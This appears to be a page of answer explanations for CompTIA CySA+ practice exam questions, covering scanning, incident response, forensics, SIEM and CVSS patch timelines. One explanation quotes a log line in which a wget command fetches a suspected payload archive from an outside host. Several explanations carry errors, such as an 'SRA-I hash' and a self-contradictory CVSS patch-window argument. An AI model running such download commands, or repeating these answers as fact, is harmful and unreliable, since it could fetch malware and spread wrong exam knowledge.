CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Free Practice Exam Questions (2026 Updated)

The best way to prevent network printers from printing pages during a vulnerability scan is to create a tailored scan for the printer subnet that excludes the ports and services that trigger the printing behavior. The other options are not effective for this purpose: performing non-credentialed scans may not reduce the impact on the printers; ignoring embedded web server ports may not cover all the possible ports that cause printing; increasing the threshold length of the scan timeout may not prevent the printing from occurring.

Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device.

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

Implementing input validation is the best way to mitigate the buffer overflow vulnerability at the application level. Input validation is a technique that checks the data entered by users or attackers against a set of rules or constraints, such as data type, length, format, or range. Input validation can prevent common web application attacks such as SQL injection, cross-site scripting (XSS), or command injection, which exploit the lack of input validation to execute malicious code or commands on the server or the client side. By validating the input before allowing submission, the web application can reject or sanitize any malicious or unexpected input, and protect the application from being compromised12. References: How to detect, prevent, and mitigate buffer overflow attacks - Synopsys, How to mitigate buffer overflow vulnerabilities | Infosec

Fuzzing is a process used to test applications by inputting unexpected or random data to see how the application behaves. This method is particularly effective in identifying vulnerabilities such as buffer overflows, input validation errors, and other anomalies that could cause the application to crash or behave unexpectedly. By using fuzzing, the security team can ensure the new application is robust and capable of handling unexpected strings with anomalous formats without crashing.

The best implementation to give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually is B. Configure the servers to forward logs to a SIEM.

A SIEM (Security Information and Event Management) is a security solution that helps organizations detect, analyze, and respond to security threats before they disrupt business1. SIEM tools collect, aggregate, and correlate log data from various sources across an organization’s network, such as applications, devices, servers, and users. SIEM tools also provide real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks2345.

By configuring the servers to forward logs to a SIEM, the security analysts can have a central view of potential threats and monitor security incidents across the corporate environment without logging in to the servers individually. This can save time, improve efficiency, and enhance security posture2345.

Deploying a database to aggregate the logging (A) may not provide the same level of analysis, correlation, and alerting as a SIEM tool. Sharing the log directory on each server to allow local access © may not be scalable or secure for a large number of servers. Automating the emailing of logs to the analysts (D) may not be timely or effective for real-time threat detection and response. Therefore, B is the best option among the choices given.

Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization’s environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA’s CySA+ guidelines, relevance verification helps in prioritizing resources and response actionseffectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.

The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.

Digital signatures ensure the integrity and non-repudiation of emails. Integrity ensures that the message has not been altered in transit, as the digital signature would be invalidated if the content were tampered with. Non-repudiation ensures that the sender cannot deny having sent the email, as the digital signature is unique to their identity. These principles are crucial for legal validity, as recommended by CompTIA Security+ standards. Confidentiality (A) and privacy (C) relate to encryption, while authorization (F) and anonymity (D) are unrelated to the primary purpose of digital signatures in this context.

Making a forensic image of the device and creating a SRA-I hash is the best step to preserve evidence, as it creates an exact copy of the device’s data and verifies its integrity. A forensic image is a bit-by-bit copy of the device’s storage media, which preserves all the information on the device, including deleted or hidden files. A SRA-I hash is a cryptographic value that is calculated from the forensic image, which can be used to prove that the image has not been altered or tampered with. The other options are not as effective as making a forensic image and creating a SRA-I hash, as they may not capture all the relevant data, or they may not provide sufficient verification of the evidence’s authenticity. Official References:

https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/

https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

Step 1: Reviewing the Vulnerability Remediation Timeframes

The remediation standards require servers to be patched based on their CVSS score:

CVSS > 9.0: Patch within 7 days

CVSS 7.9 - 9.0: Patch within 14 days

CVSS 5.0 - 7.9: Patch within 30 days

CVSS 0 - 5.0: Patch within 60 days

Step 2: Analyzing the Output Tab

From the Output tab:

Server 192.168.76.5 has a CVSS score of 9.2 for an unsupported Microsoft IIS version, indicating a critical vulnerability requiring a patch within 7 days.

Server 192.168.76.6 has a CVSS score of 7.4 for a missing secure attribute on HTTPS cookies, which falls in the 5.0 - 7.9 range, requiring a patch within 30 days.

Since the question asks for the server to be patched within 14 days, we need to focus on servers with CVSS 7.9 - 9.0:

None of the servers have a CVSS score that falls precisely in the 7.9 - 9.0 range.

However, 192.168.76.5, with a CVSS score of 9.2, has a vulnerability that necessitates a quick response and fits as it must be patched within the shortest timeframe (7 days, which includes 14 days).

The server that fits within a 14-day urgency, based on standard practices, would be 192.168.76.5.

Step 3: Reviewing the Environment Tab

The Environment Tab provides additional context for 192.168.76.5:

It’s in the dev environment, which is internal and not publicly accessible.

MFA is required, indicating security measures are already present.

Step 4: Selecting the Appropriate Technique and Mitigation

For 192.168.76.5, with the Microsoft IIS unsupported version:

Patch; upgrade IIS to the current release is the most suitable option, as upgrading IIS will resolve the unsupported software vulnerability by bringing it up-to-date with supported versions.

This technique addresses the root cause, which is the unpatched, outdated software.

Summary

Server to be patched within 14 calendar days: 192.168.76.5

Appropriate technique and mitigation: Patch; upgrade IIS to the current release

This approach ensures that the most critical vulnerabilities are addressed promptly, maintaining security compliance.

Developing an organization's communication plans is crucial to ensure that incidents, especially those involving sensitive data like PH (Protected Health) data, are promptly reported to the relevant regulatory agencies. This is essential for compliance with legal and regulatory requirements, which often mandate timely notification of data breaches. Effective communication plans help the organization manage the breach response process, mitigate potential legal penalties, and maintain transparency with regulatory bodies.

Time synchronization issues can cause severe problems with authentication and logging. If system clocks are not properly synchronized, it can lead to discrepancies in log timestamps, making it difficult to correlate events across different systems. Additionally, time-related discrepancies can affect authentication mechanisms that rely on time-based tokens, such as those used in multifactor authentication, leading to failures and security gaps.

A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This can happen due to backup and recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were applied to remediate the vulnerability. References: Vulnerability Remediation: It’s Not Just Patching, Section: The Remediation Process; Vulnerability assessment for SQL Server, Section: Remediation

Email header analysis is one of the security operations tasks that are ideal for automation. Email header analysis involves checking the email header for various indicators of phishing or spamming attempts, such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence metrics. Email header analysis can be automated using tools or scripts that can parse and analyze email headers and take appropriate actions based on predefined rules or thresholds

A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud applications and services. A CASB can enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules, encrypting sensitive data, and detecting anomalous user behavior.

The threat was detected from the time the emails were sent at 8:30 a.m. to when the recipients started alerting the organization’s help desk about the email at 8:45 a.m., taking a total of 15 minutes. The detection time is the time elapsed between the occurrence of an incident and its discovery by the security team . The other options are either too short or too long based on the given information. References: : Detection Time : Incident Response Metrics: Mean Time to Detect and Mean Time to Respond

Reverse engineering is the process of analyzing a binary file to understand its structure, functionality, and behavior. It can help to identify the purpose of the binary file, such as whether it is a malicious program, a legitimate application, or a library. Reverse engineering can involve various techniques, such as disassembling, decompiling, debugging, or extracting strings or resources from the binary file123. Reverse engineering can also help to find vulnerabilities, backdoors, or hidden features in the binary file